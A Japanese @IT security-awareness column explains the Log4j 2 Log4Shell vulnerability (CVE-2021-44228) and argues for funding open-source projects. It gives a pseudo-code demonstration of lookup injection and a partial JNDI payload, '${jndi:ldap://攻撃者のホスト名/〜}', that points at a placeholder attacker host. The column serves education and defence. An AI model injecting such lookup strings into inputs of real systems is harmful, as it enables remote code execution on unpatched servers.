検索
連載

Log4j 2はオープンソースソフトウェアなんだから「問題を見つけたらあなたが直せ」?こうしす! こちら京姫鉄道 広報部システム課 @IT支線(31)

情報セキュリティの啓発を目指した、技術系コメディー自主制作アニメ「こうしす!」の@ITバージョン。第31列車は、「Log4j 2の脆弱性」です。※このマンガはフィクションです。

PC用表示 関連情報
Share
Tweet
LINE
Hatena

こうしす!」とは

ここは姫路と京都を結ぶ中堅私鉄、京姫鉄道株式会社。

その情報システム(鉄道システムを除く)の管理を一手に引き受ける広報部システム課は、いつもセキュリティトラブルにてんてこ舞い。うわーん、アカネちゃーん。

こうしす!@IT支線」とは

「こうしす!」制作参加スタッフが、@IT読者にお届けするセキュリティ啓発4コマ漫画。


今回の登場人物

akane

祝園アカネ(HOSONO Akane)

広報部システム課 係員。情報処理安全確保支援士。計画的怠惰主義者で、有休取得率は100%。しかし、困っている人を放っておけない性格が災いし、いつもシステムトラブルに巻き込まれる

nakafunyu

中舟生CIO(NAKAFUNYU Yoshifumi)

広報部長兼取締役CIO(最高情報責任者)。偶然にも山家の上司だったことから、実力はないのに業績を評価され役員となってしまった残念なお方。実権はほとんどないに等しい


yumesaki

夢前 さくら(YUMESAKI Sakura)

京鉄ITソリューションズ 運用部 基盤整備管理課 係長。元は開発部門の課長代理だったが、親会社の無計画なシステム開発案件により体調を崩し休職、復職後は降格となった。それ以降、無理なことは何があっても断っている



第31列車:CVSS10.0の夜に


















井二かけるの追い解説

 マンガのテーマは、Log4j 2の任意コード実行の脆弱(ぜいじゃく)性(CVE-2021-44228)です。

 Javaで使われるログ出力ライブラリ「Apache Log4j」に悪意のある文字列を記録させることで、任意のリモートコードを実行できるようになる(Remote Code Execution, RCE)、ゼロデイ脆弱性があることが12月10日に分かった(「やばすぎる」 Javaライブラリ「Log4j」にゼロデイ脆弱性、任意のリモートコードを実行可能 iCloudやSteam、Minecraftなど広範囲のJava製品に影響か:ITmedia NEWS)。


 日本国内では2021年12月10日(金)からTwitterなどで話題になり始め、JPCERT/CCが土曜日に注意喚起を行うなど、土日を挟むタイミングで対応に追われることとなりました。まだ対処していない方は、即時対応しましょう。対策方法は以下のページの最新情報を参照してください。

ログ機能とLog4j

 ソフトウェアには一般的にログ、つまり実行記録を出力する機能を実装します。不具合が起きた際の調査はもちろん、処理が正常に実行されたかどうか、誰がアクセスしたかなどを記録するために用いられます。そして、ゲームから業務システムに至るまで、同じようなログ機能が搭載されています。

 同じような機能であるならば、皆がそれぞれ実装して「車輪の再発明」をするのは非効率です。そこで、「共通部品は皆で開発し、皆で一緒に使いましょう」という、オープンソースソフトウェアとして開発されることが少なくありません。

 その中でJava向けに実装されたものの1つが「Log4j」です。そして、オリジナルの「Log4j」(バージョン1系。以下「Log4j 1」)の後継としてApache Software Foundationの配下で開発されたのが「Apache Log4j」(バージョン2系。以下「Log4j 2」)です。

 CVE-2021-44228の脆弱性が判明したのは、「Log4j 2」です。

 Log4jといえば、普段.NETでしか開発を行っていない筆者でも知っているような大御所のイメージです。しかし、さらに知名度の高いWebサーバとしての「Apache HTTP Server」と混同して「Apache HTTP Server」に脆弱性があるかのような誤解や、「Log4j 1」と「Log4j 2」を混同した誤解により、不毛な対応を強いられた社内SEやベンダーSEも少なくなかったようです。

どんな脆弱性なのか

 今回の脆弱性は、ログメッセージに対してルックアップ機能(テンプレート文字列への変数展開機能)が動作することにより、最終的にリモートコード実行(RCE)ができてしまうという脆弱性です。

※以下攻撃ペイロードの一部を紹介していますが、これは情報処理安全確保支援士の筆者が、情報処理促進法第6条に定められる情報処理安全確保支援士業務として、「サイバーセキュリティの確保を支援する」という正当な目的のために情報提供するものです。セキュリティ対策のためのみに使用してください。

 ログ機能は、先述のようにありとあらゆる情報を記録するために用いられます。ログを出力する際、必要な情報を展開するために便利なよう、テンプレート文字列に変数を展開できる機能が搭載されています。

 例えば、以下のようなテンプレートの場合を考えます。

${ctx:USERNAME} がログインしました

 実行時に、${ctx:USERNAME}は、実際のユーザー名に置き換えられます。例えば変数「USERNAME」の値が「a-hosono」であれば、以下のようにログに記録されます。

a-hosonoがログインしました

 このようにテンプレート文字列内にある「${ctx:USERNAME}」という変数が、「a-hosono」という値に置き換えられました。Log4j 2では、この機能をルックアップ(Lookups)機能と呼びます。

 そして、常識的な実装であれば、設定ファイルのログ出力のテンプレートに対してこのルックアップ機能が動作します。しかしLog4j 2の以前のバージョンでは、ログメッセージに対してもルックアップ機能が機能する仕様となっていました(筆者はLog4j 2.7で検証)。

 この点が、今回の問題の根本的な部分であったと筆者は考えています。

 では、ログメッセージに対してルックアップ機能が働くと、どのような問題が生じるのでしょうか? 以下のような疑似コードを考えてみましょう。

var userName = getLoginUserName(); //ログインユーザー名を取得する。
ThreadContext.put("HOGEHOGE", "test"); // 無関係の値。スレッドコンテキストの「HOGEHOGE」に値「test」をセット
logger.debug(userName + "がログインしました"); 

 仮にログインユーザーの名前が「${ctx:HOGEHOGE}」という悪意のあるユーザー名だったらどうなるでしょうか。

logger.debug(userName + "がログインしました"); 

 の部分では、logger.debugに対して「${ctx:HOGEHOGE}がログインしました」という文字列が引き渡されて実行されます。従って、以下の通りログに記録される動作が期待されます。

${ctx:HOGEHOGE}がログインしました

 なぜなら、ログインユーザーの名前は「${ctx:HOGEHOGE}」ですから、そのまま出力されなければなりません。しかし、実際には、以下のように出力されます。

testがログインしました

 つまり、ログメッセージに対してもルックアップ機能が働いた結果、「${ctx:HOGEHOGE}」が変数として解釈され、無関係の値が展開されてしまったのです。

 上記の例では、あくまでも1つの例示としてThreadContextの値を用いましたが、それに限らず、「${date:MM-dd-yyyy}」などのユーザー入力値でも同様の状況が発生し得ます。

 筆者の印象としては、ユーザー入力値が混じる可能性が高い引数に対してルックアップ機能が働くという時点で常識外れの挙動です。これだけでも、ログ改ざんにつながる問題です。

 しかし、それだけで任意コードを実行できるわけではありません。今回、特に問題となったのは、このルックアップ機能に含まれる、JNDI(Java Naming and Directory Interface)を通じた情報取得機能でした。

 テンプレート文字列に「${jndi:〜}」があると、JNDIルックアップにより情報を取得して変数展開が行われます。JNDIルックアップではJNDIの仕組みを通じてあらゆる情報を取得できます。例えば、「${jndi:ldap://攻撃者のホスト名/〜}」と記述があれば、攻撃者のホストに対してLDAP通信が行われ、その応答により、攻撃用のコードをダウンロードして、あまつさえ実行してしまうのです。

 このように柔軟で多様なルックアップ機能を、ユーザー入力値の混じる可能性が高いログメッセージに対して働かせてしまったために、今回の脆弱性へとつながりました。その点で、仕様レベルの脆弱性であったといえるでしょう。

 最新バージョンは、ログメッセージに対してはルックアップ機能が働かないように修正されています。

なぜ影響が大きいのか

 ログ出力機能は、プログラム内のあちらこちらで使用されている基本的な機能です。

 リクエストURLや各HTTPヘッダを記録するために、エラーを記録するために、ユーザーの操作を記録するために、ユーザー入力値を記録するために……というように、限りがありません。そのどれか1つでも脆弱性の影響を受ければ、攻撃が通ってしまうかもしれません。もしWebアプリケーション自体がJavaで開発されたものでなかったとしても、業務のどこかでLog4j 2を利用したJavaアプリケーションを間接的に使用していれば、二次的に影響を受ける可能性さえあります(例:ログ監視用のアプリケーションが、そのアプリケーション自身のエラーログ出力に「Log4j 2」を利用している場合など)。

 非常に攻撃が容易な上に、広範囲にリスクをもたらす脆弱性として、かつてない脅威となりました。

目立った初動遅れ

 今回の脆弱性は、非常に重大な脆弱性であったにもかかわらず、初動遅れが目立ちました。本来どれだけ対応を急がなければならなかったのでしょうか?

 まず、正式リリース版どころかリリース候補版が公開される前に、脆弱性を修正するプルリクエストが誰でも閲覧でき、攻撃が観測されているという状況でした。時系列は以下の通りです。

2014年11月

ログメッセージに対してルックアップ機能が動作することによる問題が指摘され、それを抑止する{nolookups}オプションが追加されるも、脆弱性とは認識されず、デフォルトの挙動は修正されず。

log4j2 how to disable "date:" lookup - log4j throws exception(stackoverflow)

Ability to disable (date) lookup completely, compatibility issues with other libraries like Camel(The Apache Software Foundation.)

2021年11月30日(UTC)

GitHubにこの脆弱性に対する最初のプルリクエストが投稿される。

Restrict LDAP access via JNDI #608(GitHub)

2021年12月1日(UTC)

Cloudflare CEOのMatthew Prince氏のツイートによると、2021年12月1日午前4時(UTC)の時点で攻撃が観測されていた。

2021年12月6日(UTC)

修正のリリース候補版が公開される。

log4j-2.15.0-rc1(GitHub)

2021年12月9日(時差不明)

CVE-2021-44228の脆弱性情報が公開された。

2021年12月10日(日本時間)

日本国内のTwitterで話題になり始めた。

2021年12月11日(日本時間)

筆者が管理するサーバでも、脆弱性をスキャンする目的と思われるアクセスログを観測。

 脆弱性情報が公表された2021年12月9日の時点でさえ、もはや遅過ぎるぐらいの状況でした。

 筆者が事態を把握したのは、12月10日にTwitterを眺めていたときでした。業務時間中にTwitterを禁止されている企業では、情報を把握できなかったという方も多かったのではないでしょうか。仮に把握していても「最初に話題を目にしたのがMinecraftだったため、正直業務システムとは関係のない話だとスルーしてしまった」という方もおられたかもしれません。そういった状況の中、土日に突入してしまいました。

 土日はシステムの開発元に連絡を取るのが難しいし、仮に連絡が取れても契約面の調整が難しかったことでしょう。あまつさえ、無償対応を求め、そもそも既に納入後かなりの年数がたっていて、瑕疵(かし)担保責任(現 契約不適合責任)の期限が切れていたため断られた、なんて光景も日本のどこかにはあったはずです。

 マンガのようにLANケーブルを抜くのは必ずしも正しい対応ではありませんが、そうやってもめている時間も惜しい状況だったのです。

 月曜日以降は、「世界的サーバ管理ソフト」と誤って報じられた他、「『Apache Log4j』と『Apache HTTP Server』と混同した問い合わせが来た」などというツイートも散見されるなど、混乱は続いたようでした。

 もう1つの問題点として、法律の壁が存在します。

 くしくも、不正指令電磁的記録に関するコインハイブ事件の最高裁弁論の直後というタイミングでもありました。最新トレンドを追っている技術者にとってはナーバスな時期だったことも悪い方向に働きました。検証、対策、注意喚起のために攻撃ペイロードを共有することについて、不正指令電磁的記録に関する罪に問われるリスクがあるのではないかといった萎縮も少なくありませんでした。

 この点について、筆者は「正当な理由」に該当するかどうか曖昧であることが1つの理由だと考えています。開発者や専門家が「業務外」で行う情報共有が「正当な理由」に該当するかどうかという問題があります。ソフトウェア開発がプロ・アマ問わない草の根的な個人の貢献に支えられているという事実が、司法関係者の中で忘れ去られているのではないか。そんな懸念が、萎縮を招いたのではないかと筆者は感じています。セキュリティ対策のための法律が真逆に働く皮肉な状況は、まさに憂慮すべき事態といえるでしょう。

どうすればよかったのか

 ログメッセージに対してルックアップ機能が働くという仕様自体、常識外れであり、批判を免れないものでした。しかし、ライブラリを使用する立場のプログラマーも、きちんと仕様を把握して使用するべきだったといえるでしょう。とはいえ、そもそもルックアップ機能を使用していない案件で「ルックアップ機能が働かないこと」をテスト内容に盛り込むのは現実的とはいえず、利用側が注意していれば防げたかというと、恐らくそうではありませんでした。

 オープンソースソフトウェアは「問題を見つけたらあなたが直せ」が原則です。しかし、仕様レベルの問題点について単発の利用者に修正提案を求めるのも非現実的ですし、そもそも「問題を見つけたらあなたが直せ」を徹底すると、皆問題を隠すようになってしまうでしょう。

 では、オープンソースソフトウェア禁止にすれば解決するのでしょうか? 今回の件で、少なからず「オープンソースソフトウェア禁止」という方針が打ち出される現場が存在すると想像できますが、やはりそれは実現困難です。開発プラットフォーム自体がオープンソースだというケースもあれば、公式ライブラリがオープンソースソフトウェアを使用しているというケースもあるからです。実現不可能な目標を立てたところで、百害あって一利なしです。

 また、契約不適合責任(旧 瑕疵担保責任)を追求して無償対応を求める方針を決めたとしても、今回のような予見可能性の低い脆弱性まで責任を取らなければならないかは、結局のところ裁判にならなければ分かりませんし、当然システム開発元は渋るに違いありません。

 従って、契約はどうあれセキュリティ対策費用としていつでも即決で支出できる予算を確保することが重要だと考えられます。

 そしてその予算は、もし使わなくて済めば、オープンソースプロジェクトに対して支出されるべきだと筆者は考えます。そのような寄付により、優秀な開発者やセキュリティ技術者がオープンソースプロジェクトに継続的に参加できれば、今回のような仕様レベルの脆弱性が混入する事態は防げたかもしれません。

 多くのオープンソースソフトウェアは、ボランティアの情熱に支えられた小舟に例えられるでしょう。作る人、運航する人、修繕する人、全てがボランティアです。無料で乗れますが、だからといって「タダで乗れる船だ」という評判だけが広まり、大勢がそれに乗れば、たちまち沈んでしまいます。修繕も安全対策もそれぞれの情熱の範囲で行っているにすぎないからです。ときには情熱が赴くままに立派な装飾を施して、自重で沈んでしまうこともあるでしょう。沈まないためには、誰かがお金を出して、修繕費や安全対策費を継続的に工面しなければなりません。

 残念ながら「Log4j 2」は多数のプロジェクトで採用されている基盤的なライブラリであるにもかかわらず、単に「タダで使える共通部品」としか認識されていなかったという面は否定できません。

 トラブルが起きてから大切さを認識され、全世界から批判にさらされるのでは開発者は報われません。オープンソースプロジェクトが持続可能な仕組みの構築は急務といえるでしょう。

 そのためには、まず、プログラムの利用者、司法関係者、全ての人々に、ソフトウェア開発がプロ、アマ問わない草の根的な個人の貢献に支えられているという事実を知って欲しいと筆者は考えています。

持続的なオープンソースプロジェクトのために

 最後に、筆者の個人的な意見を述べます。

 筆者らが制作する「こうしす!」も、ソフトウェアでありませんが、オープンソース方式で制作しており、さまざまな方々の寄付などのご支援により支えられています。オープンソースプロジェクトを運営する当事者として思うのは「オープンソースプロジェクトに対する寄付文化の醸成を」「もっと寄付しやすい税制を」ということです。

 多くのオープンソースプロジェクトは、個人の情熱により支えられています。しかし残念ながら、それには限界があります。失業する、災害に遭う、本業の残業が増える、といったちょっとしたことで情熱が途切れてしまうことがあります。そういったときに支えになるのが金銭的な支援と、その支援により有償で従事する有償ボランティア、有償のフルタイム従事者です。

 幸いにも近年では、個人レベルのオープンソースプロジェクトに対する寄付も浸透してきたようです。実際、筆者の情熱の火が何度消えても「こうしす!」を継続できているのは、個人支援者たちのおかげに他なりません。しかし、支援者にとって税金的なメリットは何一つありませんし、何より、生活費を削ってまで多額の支援をいただいている現状は心苦しく思っています。

 では、法人からの大口支援はどうでしょうか?

 残念ながら、経営層がオープンソースソフトウェアに無理解であったり、仮に理解があって支援したいと考えていても、税制面のハードルが高く、なかなか難しいことがあるようです。

 また、個人として受け取る場合も、税金の問題や副業禁止規定との兼ね合いがどうか、お金をもらったところで本当に稼働時間を増やせるかなど、さまざまな悩ましいポイントがあります。そこまで苦労して寄付を受け入れても、寄付者によるノイジークレームのリスクがあります。そのため、寄付を受け入れないというプロジェクトも少なくありません。

 今や社会基盤といっても過言ではないオープンソースソフトウェアです。筆者としては、まずはもう少し、オープンソースプロジェクトに対する税制面のサポートがあっても良いのではないかと思う次第です。

※2022年1月13日 一部の表現を修正、追記しました(編集部)

こうしす! #3.3「セキュリティに完璧を求めるのは間違っているだろうか(Part3/4)」(OPAP-JP公式)

Copyright 2012-2017 OPAP-JP contributors.
本作品は特に注記がない限りCC-BY 4.0の下にご利用いただけます


筆者プロフィール

作画:リンゲリエ

「こうしす!」にて作画、背景を担当する傍ら、イラストやオリジナル同人誌の制作といった活動にも取り組んでいます。創作関係のお仕事が増え、ますますお絵描きが楽しくなる日々です。


原作:井二かける

アニメ「こうしす!」監督、脚本。情報処理安全確保支援士。プログラマーの本業の傍ら、セキュリティ普及啓発活動を行う。

こうしす!社内SE 祝園アカネの情報セキュリティ事件簿」(翔泳社)2020年2月発売


解説:京姫鉄道

「物語の力でIT、セキュリティをもっと面白く」をモットーに、作品制作を行っています。


原作:OPAP-JP contributors

オープンソースなアニメを作ろうというプロジェクト。現在はアニメ「こうしす!」を制作中。


Copyright © ITmedia, Inc. All Rights Reserved.

ページトップに戻る